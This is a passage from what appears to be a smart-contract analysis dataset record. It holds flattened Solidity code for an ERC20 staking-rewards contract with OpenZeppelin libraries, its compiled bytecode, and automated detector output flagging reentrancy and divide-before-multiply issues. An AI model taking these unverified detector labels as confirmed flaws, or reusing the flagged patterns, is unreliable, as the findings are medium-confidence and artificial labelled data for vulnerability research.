memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/Pausable.sol pragma solidity ^0.6.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/lib/IRewardDistributionRecipient.sol pragma solidity ^0.6.7; abstract contract IRewardDistributionRecipient is Ownable { address rewardDistribution; constructor(address _rewardDistribution) public { rewardDistribution = _rewardDistribution; } function notifyRewardAmount(uint256 reward) external virtual; function notifyRewardAmount() external virtual; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } // File: contracts/StakingRewards.sol pragma solidity ^0.6.7; contract StakingRewards is ReentrancyGuard, Pausable, IRewardDistributionRecipient { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; // reward notified uint256 public rewardTotalTokenDistributed = 0; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _rewardDistribution, address _rewardsToken, address _stakingToken ) public IRewardDistributionRecipient(_rewardDistribution) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account] .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } function min(uint256 a, uint256 b) public pure returns (uint256) { return a < b ? a : b; } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external nonReentrant whenNotPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); rewardTotalTokenDistributed = rewardTotalTokenDistributed.sub(reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function _notifyRewardAmount(uint256 reward) internal { // overflow fix according to https://sips.synthetix.io/sips/sip-77 require(reward < uint(- 1) / 1e18, "the notified reward cannot invoke multiplication overflow"); if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); rewardTotalTokenDistributed = rewardTotalTokenDistributed.add(reward); emit RewardAdded(reward); } function notifyRewardAmount(uint256 reward) external override onlyRewardDistribution updateReward(address(0)) { _notifyRewardAmount(reward); } function notifyRewardAmount() external override onlyRewardDistribution updateReward(address(0)) { uint256 balance = rewardsToken.balanceOf(address(this)); if (rewardsToken == stakingToken) { balance = balance.sub(_totalSupply); } _notifyRewardAmount(balance.sub(rewardTotalTokenDistributed)); } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { // Cannot recover the staking token or the rewards token require( tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken), "Cannot withdraw the staking or rewards tokens" ); IERC20(tokenAddress).safeTransfer(owner(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); }
0x608060405234801561001057600080fd5b50600436106101d95760003560e01c80637b0a47ee11610104578063cc1a378f116100a2578063e9fad8ee11610071578063e9fad8ee1461041b578063ebe2b12b14610423578063ecbc13961461042b578063f2fde38b14610433576101d9565b8063cc1a378f146103e6578063cd3daf9d14610403578063d1af0c7d1461040b578063df136d6514610413576101d9565b80638b876347116100de5780638b876347146103935780638da5cb5b146103b9578063a694fc3a146103c1578063c8f33c91146103de576101d9565b80637b0a47ee1461035757806380faa57d1461035f5780638980f11f14610367576101d9565b8063386a95251161017c57806370a082311161014b57806370a08231146102e2578063715018a61461030857806372f702f3146103105780637ae2b5c714610334576101d9565b8063386a9525146102995780633c6b16ab146102a15780633d18b912146102be5780635c975abb146102c6576101d9565b80630d68b761116101b85780630d68b7611461024657806318160ddd1461026c5780631c1f78eb146102745780632e1a7d4d1461027c576101d9565b80628cc262146101de5780630700037d146102165780630c51dde41461023c575b600080fd5b610204600480360360208110156101f457600080fd5b50356001600160a01b0316610459565b60408051918252519081900360200190f35b6102046004803603602081101561022c57600080fd5b50356001600160a01b03166104d7565b6102446104e9565b005b6102446004803603602081101561025c57600080fd5b50356001600160a01b0316610663565b6102046106e2565b6102046106e9565b6102446004803603602081101561029257600080fd5b5035610707565b61020461089d565b610244600480360360208110156102b757600080fd5b50356108a3565b610244610961565b6102ce610aa8565b604080519115158252519081900360200190f35b610204600480360360208110156102f857600080fd5b50356001600160a01b0316610ab1565b610244610acc565b610318610b79565b604080516001600160a01b039092168252519081900360200190f35b6102046004803603604081101561034a57600080fd5b5080359060200135610b88565b610204610ba0565b610204610ba6565b6102446004803603604081101561037d57600080fd5b506001600160a01b038135169060200135610bb4565b610204600480360360208110156103a957600080fd5b50356001600160a01b0316610cdc565b610318610cee565b610244600480360360208110156103d757600080fd5b5035610d02565b610204610ee1565b610244600480360360208110156103fc57600080fd5b5035610ee7565b610204610fbf565b61031861100d565b61020461101c565b610244611022565b610204611045565b61020461104b565b6102446004803603602081101561044957600080fd5b50356001600160a01b0316611051565b6001600160a01b0381166000908152600c6020908152604080832054600b9092528220546104d191906104cb90670de0b6b3a7640000906104c5906104a6906104a0610fbf565b9061115a565b6001600160a01b0388166000908152600e60205260409020549061119c565b906111f5565b90611237565b92915050565b600c6020526000908152604090205481565b6002546001600160a01b03166104fd611291565b6001600160a01b0316146105425760405162461bcd60e51b81526004018080602001828103825260218152602001806118916021913960400191505060405180910390fd5b600061054c610fbf565b600955610557610ba6565b6008556001600160a01b0381161561059e5761057281610459565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b600354604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156105e957600080fd5b505afa1580156105fd573d6000803e3d6000fd5b505050506040513d602081101561061357600080fd5b50516004546003549192506001600160a01b039182169116141561064257600d5461063f90829061115a565b90505b61065f61065a600a548361115a90919063ffffffff16565b611295565b5050565b61066b611291565b60015461010090046001600160a01b039081169116146106c0576040805162461bcd60e51b81526020600482018190526024820152600080516020611871833981519152604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b600d545b90565b600061070260075460065461119c90919063ffffffff16565b905090565b6002600054141561075f576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026000553361076d610fbf565b600955610778610ba6565b6008556001600160a01b038116156107bf5761079381610459565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b60008211610808576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b600d54610815908361115a565b600d55336000908152600e6020526040902054610832908361115a565b336000818152600e602052604090209190915560045461085e916001600160a01b0390911690846113aa565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250506001600055565b60075481565b6002546001600160a01b03166108b7611291565b6001600160a01b0316146108fc5760405162461bcd60e51b81526004018080602001828103825260218152602001806118916021913960400191505060405180910390fd5b6000610906610fbf565b600955610911610ba6565b6008556001600160a01b038116156109585761092c81610459565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b61065f82611295565b600260005414156109b9576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600055336109c7610fbf565b6009556109d2610ba6565b6008556001600160a01b03811615610a19576109ed81610459565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b336000908152600c60205260409020548015610a9f57336000818152600c6020526040812055600354610a58916001600160a01b0390911690836113aa565b600a54610a65908261115a565b600a5560408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b50506001600055565b60015460ff1690565b6001600160a01b03166000908152600e602052604090205490565b610ad4611291565b60015461010090046001600160a01b03908116911614610b29576040805162461bcd60e51b81526020600482018190526024820152600080516020611871833981519152604482015290519081900360640190fd5b60015460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360018054610100600160a81b0319169055565b6004546001600160a01b031681565b6000818310610b975781610b99565b825b9392505050565b60065481565b600061070242600554610b88565b610bbc611291565b60015461010090046001600160a01b03908116911614610c11576040805162461bcd60e51b81526020600482018190526024820152600080516020611871833981519152604482015290519081900360640190fd5b6004546001600160a01b03838116911614801590610c3d57506003546001600160a01b03838116911614155b610c785760405162461bcd60e51b815260040180806020018281038252602d8152602001806118b2602d913960400191505060405180910390fd5b610c94610c83610cee565b6001600160a01b03841690836113aa565b604080516001600160a01b03841681526020810183905281517f8c1256b8896378cd5044f80c202f9772b9d77dc85c8a6eb51967210b09bfaa28929181900390910190a15050565b600b6020526000908152604090205481565b60015461010090046001600160a01b031690565b60026000541415610d5a576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260005560015460ff1615610daa576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b33610db3610fbf565b600955610dbe610ba6565b6008556001600160a01b03811615610e0557610dd981610459565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b60008211610e4b576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b600d54610e589083611237565b600d55336000908152600e6020526040902054610e759083611237565b336000818152600e6020526040902091909155600454610ea2916001600160a01b03909116903085611401565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a250506001600055565b60085481565b610eef611291565b60015461010090046001600160a01b03908116911614610f44576040805162461bcd60e51b81526020600482018190526024820152600080516020611871833981519152604482015290519081900360640190fd5b6005544211610f845760405162461bcd60e51b81526004018080602001828103825260588152602001806117996058913960600191505060405180910390fd5b60078190556040805182815290517ffb46ca5a5e06d4540d6387b930a7c978bce0db5f449ec6b3f5d07c6e1d44f2d39181900360200190a150565b6000600d5460001415610fd557506009546106e6565b610702611004600d546104c5670de0b6b3a7640000610ffe600654610ffe6008546104a0610ba6565b9061119c565b60095490611237565b6003546001600160a01b031681565b60095481565b336000908152600e602052604090205461103b90610707565b611043610961565b565b60055481565b600a5481565b611059611291565b60015461010090046001600160a01b039081169116146110ae576040805162461bcd60e51b81526020600482018190526024820152600080516020611871833981519152604482015290519081900360640190fd5b6001600160a01b0381166110f35760405162461bcd60e51b81526004018080602001828103825260268152602001806117f16026913960400191505060405180910390fd5b6001546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600180546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000610b9983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611461565b6000826111ab575060006104d1565b828202828482816111b857fe5b0414610b995760405162461bcd60e51b81526004018080602001828103825260218152602001806118506021913960400191505060405180910390fd5b6000610b9983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f8565b600082820183811015610b99576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b7812725dd1d243aba0e75fe645cc4873f9e65afe688c928e1f2181106112ec5760405162461bcd60e51b81526004018080602001828103825260398152602001806118176039913960400191505060405180910390fd5b600554421061130b576007546113039082906111f5565b60065561134e565b60055460009061131b904261115a565b905060006113346006548361119c90919063ffffffff16565b600754909150611348906104c58584611237565b60065550505b4260088190556007546113619190611237565b600555600a546113719082611237565b600a556040805182815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a150565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526113fc90849061155d565b505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261145b90859061155d565b50505050565b600081848411156114f05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114b557818101518382015260200161149d565b50505050905090810190601f1680156114e25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836115475760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114b557818101518382015260200161149d565b50600083858161155357fe5b0495945050505050565b60606115b2826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661160e9092919063ffffffff16565b8051909150156113fc578080602001905160208110156115d157600080fd5b50516113fc5760405162461bcd60e51b815260040180806020018281038252602a8152602001806118df602a913960400191505060405180910390fd5b606061161d8484600085611625565b949350505050565b606061163085611792565b611681576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106116c05780518252601f1990920191602091820191016116a1565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611722576040519150601f19603f3d011682016040523d82523d6000602084013e611727565b606091505b5091509150811561173b57915061161d9050565b80511561174b5780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156114b557818101518382015260200161149d565b3b15159056fe50726576696f7573207265776172647320706572696f64206d75737420626520636f6d706c657465206265666f7265206368616e67696e6720746865206475726174696f6e20666f7220746865206e657720706572696f644f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373746865206e6f746966696564207265776172642063616e6e6f7420696e766f6b65206d756c7469706c69636174696f6e206f766572666c6f77536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657243616c6c6572206973206e6f742072657761726420646973747269627574696f6e43616e6e6f7420776974686472617720746865207374616b696e67206f72207265776172647320746f6b656e735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220a893c70d9ed84955988675b67ce9c65bd508dc7bbf492b5be1646ac4be7196fb64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
